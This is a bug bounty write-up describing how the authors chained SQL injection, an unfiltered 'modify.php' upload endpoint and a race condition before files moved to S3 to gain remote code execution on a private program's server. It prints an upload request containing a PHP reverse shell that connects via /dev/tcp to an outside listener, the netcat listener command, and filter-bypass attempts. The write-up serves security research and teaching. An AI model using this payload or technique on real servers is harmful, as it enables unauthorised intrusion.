Update I: Added a “Reference” Section.
Update III: The way to exploiting the “upload.php” function has been released at Tomi’s write-up. It could be bypass with the .phtml extension.
Update IV: The reason why we choose those target (the one that has a stored-XSS issue), has been released at this write-up (from simple bypass of registration activation that lead to many bug).
1.1. Few Words about this Write-Up
As an information, this simple write-up talks about a story related how I chained few bugs at one of private program, which is from a simple recon to simple SQL Injection, Race Condition, and finally lead to an RCE. Since the found RCE is little unique, then, this simple write-up will begin from an RCE that triggered from Race Condition. InshaAllah, the other will be released later.
1.2. Simple Summary
Some reader maybe feels more comfortable with a summary. Then at this section, we will explain the whole summary related our “journey” to get an RCE.
While we got an access into the internal dashboard of administrator (by using the account that has been dump from SQL Injection Result), then we found out the upload feature in the app.
Basically, this app has a protection for not giving any permission to users to upload the .php extension (let’s say, the function is upload.php - previously, it was vulnerable by uploading the .phtml extension). But then, the first unique issue is come when this application provides another function (let’s called, modify.php) that could be used to replace / deleteing the previous uploaded file. The good one is, this modify.php function is not designed to filtering any extension just like the upload.php did. So, we could easily to upload the .php file into the site.
But then, the problem for us exists when the app moving out the uploaded file into the S3 bucket. In other words, it’s not possible then to get an RCE at the app’s server since the shell is stored at S3 bucket (and didn’t work too).
At one condition, then we tried to re-send the upload request (by using those modify.php function) multiple times (it just like a race condition) and suddenly we got a different response length that contain an error with local stored path information. From this execution, then we realized if the file was stored locally around 2 seconds before its automatically moving into the S3 bucket.
So, the next is, we setup the listener at our server (by simply using an “nc -lvp listener_port”), and then tried to conduct the same race condition again (with re-uploading the reverse shell at the modify.php function) and finally in parallel, we request the found local stored path previously at the our browser (it just like, we press the “Command + R” multiple times) until our terminal showing up the shell from the app’s server.
After several request (somehow more than 20–30 requests), then finally we got a shell of the app’s server.
II. THE DETAIL STORY ABOUT THE RCE
At this section, we will try to explain in step by step about how finally we got an RCE.
FYI, we tried to sketch the interface manually as best as we can, so hopefully could help the readers to see the situation.
2.1. Facing the Internal Dashboard — Meet the Upload Function
So, after we got an access into the internal dashboard (will be released later about how we got it), we didn’t stop hunting. At this point, then we tried to look any file upload feature that maybe exist at the app. After few minutes, then we finally found a feature that could be used to publish a news/article via this dashboard. And then, we learn that if every file that we would like to upload to every available section (news/article or anything), then it will be procced by the function called upload.php.
Basically, every available section will have an upload interface like this:
Without thinking too much, then we directly upload the simple .php shell via this feature. But things aren’t going well, the feature has a protection to filter the .php extension (previously, it was vulnerable by giving the .phtml extension). We tried to combining the extension with upper & lower case (ex: .PhP), also added some number behind the extension (ex: .php3), and tried various way (as far as we know — doubling the extension, null character, added ; character, and more) to bypass the protection, then it failed. We always got this lovely warning.
Then we think, how about the stored XSS, such as maybe upload the .html, .xml, or .svg format? Well, this one is successfully uploaded. But then, we realized if the file was moving out into the S3 bucket. Then, what’s the point if we could trigger the XSS but at the S3 bucket domain? Well, since we have no idea to “using” it further, then we assume if this one is not an issue.
2.2. Meet the Second Upload Function, Modify.php
What’s next? After we have no idea about how to “use” the “uploaded” file into the S3 bucket, then we back into first page of “news” section that contain so many forms to be add with the new content.
After looking it carefully, then we realized if there is an “edit” button at the same row with the legitimate file that uploaded into the S3 bucket.
At this point, we try to click the “edit” button and trying to see what will happened.
Just as expected, then we will face the upload feature too at this section. At the first time we see it, we think that this form is filtering the .php extension too (since we thought, how can it could be different with the first one?). But, surprisingly, this upload feature doesn’t filter any extension yet.
In short, we could upload the .php file directly without meet any trouble.
When our shell has been uploaded, then we try to re-upload the shell and find out the function that used. If this one doesn’t have any filter feature yet, then high possibility if this is the different function as previous. And our assumption is correct. The function that used at this endpoint is “modify.php”, not “upload.php”. Here is the sample request that made with “modify.php”:
Content-Disposition: form-data; name="fileid"31337-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="name"picture-1.png-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="description"-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="userfile"; filename="reverse.php"Content-Type: text/php<?phpexec("/bin/bash -c 'bash -i >& /dev/tcp/10.20.30.40/21234 0>&1'");-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="save"Save
So, is it finish? So sad, not yet. The .php file is also moving out into the S3 bucket and we can’t do anything with the uploaded file.
2.3. Race Condition to Get the Local Path
To be honest, at that time, we have no idea anymore, until we finally try to send the request multiple times with “null” payloads (via intruder mode at burpsuite). Please kindly don’t ask, why we do that.
Surprisingly, after several request has been made, we got a different response length (somehow need around 10 requests, somehow more than 20–30 requests). If the normal request will result to 1147 response lengths, at one point, it hits 1710 response lengths.
Here is the sample of the “same” multiple request that we did:
And here is the normal response that we will get normally (1147 response lengths):
So, what is the content from the un-normal response length that we got? The good one, it reveals the local path of the file.
When we see this result, then finally we thought if we just need to access the path at the browser and waiting for the listener triggering up the shell.
But once again, so sad, it not like that. When access the file via our browser, we got the famous alert, which is: “File not Found”. And if we check the path of the file that has been uploaded, it still showing the S3 bucket location, not the local path that we got from this error.
So, from this execution, we learn if the file is somehow was stored locally around 1–2 seconds before they move it automatically into the S3 bucket.
2.4. Triggering the Shell and Got an RCE
From the last assumption, then there is one thing that come up at our mind: “how if we run the race condition again, and at the same time, we request the local path that we found (from the error result) to our browser to triggering the reverse shell?”
How is it? Finally, this trick works well.
So, we setup the listener at our server -> then try to replacing the existing file at the app with our reverse shell -> conduct the race condition multiple times (1,000 requests could buffer our time) -> take the local path from the different response length from race condition execution -> repeatedly access the path via our browser -> and when the app is hit by the race condition again, then the shell will be triggered into our listener.
Here is the simple flow related the execution:
And here is the simple result from the RCE:
III. THE CLOSING
Much things (at least, for us) that we could learned from this bug. Few of the good things are:
- There is a possibility for us to get the local path of the uploaded file before the file itself is moving out into the S3 bucket. Even only 1 or 2 seconds, then its enough for us to triggering the shell into our listeners;
- Always try to edit your own uploaded file. From this case, we seen that if there is a possibility if the upload feature is executed from two separate function (which is the upload.php and modify.php in this situation);
- And maybe much more that we don’t know yet.
Here are some references that (hopefully) relevant with this write-up: